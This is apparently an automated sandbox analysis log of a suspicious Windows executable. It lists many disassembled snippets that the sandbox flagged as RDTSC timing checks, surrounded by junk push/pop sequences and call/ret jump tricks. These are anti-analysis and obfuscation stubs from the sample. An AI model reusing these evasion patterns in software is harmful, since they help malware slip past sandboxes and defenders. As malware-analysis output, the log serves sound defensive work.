Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 266000 second address: 2660B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a nop 0x0000000b jmp 00007F8FAD4EAD5Bh 0x00000010 push dword ptr fs:[00000000h] 0x00000017 jng 00007F8FAD4EAD59h 0x0000001d sub bh, FFFFFFB3h 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 or ebx, dword ptr [ebp+122D24EBh] 0x0000002d mov eax, dword ptr [ebp+122D1275h] 0x00000033 push 00000000h 0x00000035 push edx 0x00000036 call 00007F8FAD4EAD58h 0x0000003b pop edx 0x0000003c mov dword ptr [esp+04h], edx 0x00000040 add dword ptr [esp+04h], 00000015h 0x00000048 inc edx 0x00000049 push edx 0x0000004a ret 0x0000004b pop edx 0x0000004c ret 0x0000004d js 00007F8FAD4EAD64h 0x00000053 pushad 0x00000054 mov ebx, dword ptr [ebp+12444D81h] 0x0000005a mov esi, dword ptr [ebp+122D2FB4h] 0x00000060 popad 0x00000061 push FFFFFFFFh 0x00000063 push 00000000h 0x00000065 push ecx 0x00000066 call 00007F8FAD4EAD58h 0x0000006b pop ecx 0x0000006c mov dword ptr [esp+04h], ecx 0x00000070 add dword ptr [esp+04h], 00000017h 0x00000078 inc ecx 0x00000079 push ecx 0x0000007a ret 0x0000007b pop ecx 0x0000007c ret 0x0000007d movzx edi, si 0x00000080 nop 0x00000081 jmp 00007F8FAD4EAD5Eh 0x00000086 push eax 0x00000087 je 00007F8FAD4EAD62h 0x0000008d je 00007F8FAD4EAD5Ch 0x00000093 push eax 0x00000094 push edx 0x00000095 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 26C8C8 second address: 26C8D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8FACDB0566h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 270936 second address: 27093C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 27093C second address: 270949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 270949 second address: 270953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8FAD4EAD56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 270953 second address: 270973 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB0571h 0x00000007 jns 00007F8FACDB0566h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edi 0x00000010 pushad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 270973 second address: 27097E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 27242B second address: 272431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 272431 second address: 27244C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8FAD4EAD66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 27761C second address: 277622 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 277622 second address: 27762C instructions: 0x00000000 rdtsc 0x00000002 je 00007F8FAD4EAD5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 27762C second address: 27764F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F8FACDB0572h 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 27764F second address: 277653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 27D21C second address: 27D241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8FACDB056Fh 0x00000009 jmp 00007F8FACDB0572h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 27D241 second address: 27D245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 205646 second address: 205657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pop edx 0x00000008 je 00007F8FACDB058Fh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 27C0DF second address: 27C0E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 27C64A second address: 27C64F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 27C918 second address: 27C91C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 27C91C second address: 27C922 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 27CCE1 second address: 27CCE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 27CE0C second address: 27CE2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F8FACDB0574h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 27CE2A second address: 27CE40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F8FAD4EAD56h 0x00000009 pushad 0x0000000a popad 0x0000000b jng 00007F8FAD4EAD56h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 27CF69 second address: 27CF7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F8FACDB056Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 27FECC second address: 27FED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 27FED0 second address: 27FEDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB056Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28588F second address: 285895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 285895 second address: 28589F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8FACDB0566h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28589F second address: 2858AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28509D second address: 2850A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2850A3 second address: 2850A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 287300 second address: 28733C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F8FACDB0566h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F8FACDB0572h 0x00000011 pushad 0x00000012 jmp 00007F8FACDB0579h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28733C second address: 287340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 287340 second address: 287344 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 287344 second address: 287350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 287350 second address: 28737F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB0571h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007F8FACDB0574h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28737F second address: 287383 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28A808 second address: 28A812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2071D1 second address: 2071EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8FAD4EAD64h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28FB53 second address: 28FB67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8FACDB0570h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28FB67 second address: 28FB71 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8FAD4EAD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28FB71 second address: 28FB81 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8FACDB0572h 0x00000008 jnl 00007F8FACDB0566h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28FB81 second address: 28FB8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28FB8B second address: 28FB91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28FB91 second address: 28FB99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28F73B second address: 28F741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28F741 second address: 28F745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28F745 second address: 28F749 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28F749 second address: 28F759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jnp 00007F8FAD4EAD56h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28F759 second address: 28F75D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28F75D second address: 28F765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 28F765 second address: 28F77E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F8FACDB0572h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2903AB second address: 2903B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8FAD4EAD56h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2903B7 second address: 2903C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 290506 second address: 29050C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 29050C second address: 29052D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8FACDB0576h 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 29052D second address: 290550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jno 00007F8FAD4EAD56h 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F8FAD4EAD64h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2906FA second address: 2906FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 290A07 second address: 290A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 290A0B second address: 290A18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F8FACDB0566h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 290A18 second address: 290A67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jne 00007F8FAD4EAD56h 0x0000000c jmp 00007F8FAD4EAD66h 0x00000011 jmp 00007F8FAD4EAD65h 0x00000016 push esi 0x00000017 pop esi 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pushad 0x0000001c push edx 0x0000001d jnp 00007F8FAD4EAD56h 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 pop edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jc 00007F8FAD4EAD56h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 290A67 second address: 290A88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB0573h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F8FACDB0566h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 248FAC second address: 249002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F8FAD4EAD58h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov cl, ah 0x00000025 lea eax, dword ptr [ebp+12473CF0h] 0x0000002b call 00007F8FAD4EAD60h 0x00000030 jng 00007F8FAD4EAD5Ch 0x00000036 xor dword ptr [ebp+122D2E2Dh], esi 0x0000003c pop edi 0x0000003d push eax 0x0000003e push eax 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2491B3 second address: 2491B8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2491B8 second address: 2491D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8FAD4EAD65h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2494CD second address: 2494D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24963F second address: 24964F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8FAD4EAD56h 0x0000000a popad 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24964F second address: 24967F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b jp 00007F8FACDB0568h 0x00000011 jmp 00007F8FACDB0576h 0x00000016 popad 0x00000017 mov eax, dword ptr [eax] 0x00000019 push edi 0x0000001a push edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24967F second address: 24968D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24968D second address: 2496CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pop eax 0x00000007 jg 00007F8FACDB056Bh 0x0000000d or cx, 9466h 0x00000012 push ebx 0x00000013 sub dword ptr [ebp+122D2FD7h], esi 0x00000019 pop ecx 0x0000001a call 00007F8FACDB0569h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 jmp 00007F8FACDB0578h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2496CE second address: 2496F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24985D second address: 249875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8FACDB0574h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 249875 second address: 249894 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F8FAD4EAD56h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24991A second address: 24991E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 249A34 second address: 249A39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 249A39 second address: 249A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24A0E7 second address: 24A0EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24A0EB second address: 24A0F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F8FACDB0566h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24A319 second address: 24A339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8FAD4EAD56h 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F8FAD4EAD5Dh 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24A339 second address: 24A343 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F8FACDB0566h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24A4C0 second address: 24A4C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24A4C4 second address: 24A4CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24A4CD second address: 2333FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 or dword ptr [ebp+122D3772h], ebx 0x0000000f call dword ptr [ebp+12441A29h] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jbe 00007F8FAD4EAD56h 0x0000001e jl 00007F8FAD4EAD56h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 295891 second address: 295895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 295895 second address: 295899 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 295899 second address: 2958BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8FACDB056Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F8FACDB056Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 29919E second address: 2991A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
